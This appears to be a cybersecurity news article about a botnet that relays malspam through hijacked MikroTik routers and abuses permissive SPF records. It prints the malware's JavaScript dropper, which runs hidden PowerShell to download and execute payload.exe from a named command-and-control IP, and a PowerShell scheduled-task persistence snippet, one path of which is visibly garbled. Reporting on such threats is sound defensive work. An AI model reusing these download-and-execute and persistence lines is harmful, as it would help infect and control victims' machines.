New Botnet Leverages DNS Misconfiguration to Launch Massive Cyber Attack

A previously unseen botnet campaign emerged in late November, using a novel combination of DNS misconfiguration and hijacked networking devices to propel a global malspam operation.

Initial reports surfaced when dozens of organizations received what appeared to be legitimate freight invoices, each containing a ZIP archive with a malicious JavaScript payload.

Upon execution, the script launched a PowerShell routine to connect to a remote command-and-control server at 62.133.60.137, a host with prior ties to Russian threat actors.

Infoblox analysts identified that the underlying infrastructure relies on more than 13,000 compromised MikroTik routers, transformed into open SOCKS4 proxies.

This expansive relay network not only amplifies email delivery volume but also obscures the true origin of attacks, making traditional IP-based filtering ineffective.

Instead of exploiting a single vulnerability, the campaign capitalizes on the default or poorly secured configurations shipped with many MikroTik devices.

The spam emails spoofed hundreds of legitimate domains by abusing misconfigured SPF records.

Domain owners had inadvertently—or through malicious alteration—configured their TXT records with the “all” directive, effectively allowing any mail server to send messages on their behalf.

The result was a widespread bypass of DKIM, SPF, and DMARC checks, enabling the malicious emails to slip past mail filters into corporate inboxes.

This botnet represents a material shift in large-scale spam operations, combining device compromise at the network layer with DNS-level manipulation.

Victims who opened the attached ZIP archives triggered an obfuscated JavaScript file that deployed the loader script, illustrating the seamless integration of multiple tactics to maximize infection rates and evade detection.

Infection Mechanism

The malware’s infection chain begins with an obfuscated JavaScript file inside a ZIP archive.

When run, the script writes and executes a PowerShell loader that reaches out to the C2 server to fetch further payloads.

The JavaScript code snippet below demonstrates how the PowerShell command is constructed and executed:-

var cmd = 'powershell -NoProfile -WindowStyle Hidden -Command ' +
          '"$wc = New-Object System.Net.WebClient; ' +
          '$wc.DownloadFile('http://62.133.60.137/payload.exe', 'C:\Users\Public\payload.exe'); ' +
          'Start-Process 'C:\Users\Public\payload.exe'"';
WScript.Shell.Run(cmd, 0, true);

Once the loader is active, the PowerShell script validates its execution context by querying Get-ExecutionPolicy.

Should the policy restrict script runs, the malware temporarily bypasses restrictions using Set-ExecutionPolicy Bypass -Scope Process.

Next, it establishes persistence by creating a scheduled task named “Updater” that runs at user logon:-

$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -File C:UsersPublicpayload.exe'
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'Updater' -Description 'System Updater'

This mechanism ensures the payload remains active across reboots, while its network traffic is routed through the botnet’s SOCKS4 proxies.

The reliance on legitimate network services and legal DNS records blurs the line between benign and malicious activity, posing a significant challenge to defenders and underscoring the urgent need for rigorous DNS configuration audits and router security hardening.

Find this Story Interesting! Follow us on Google News, LinkedIn, and X to Get More Instant Updates.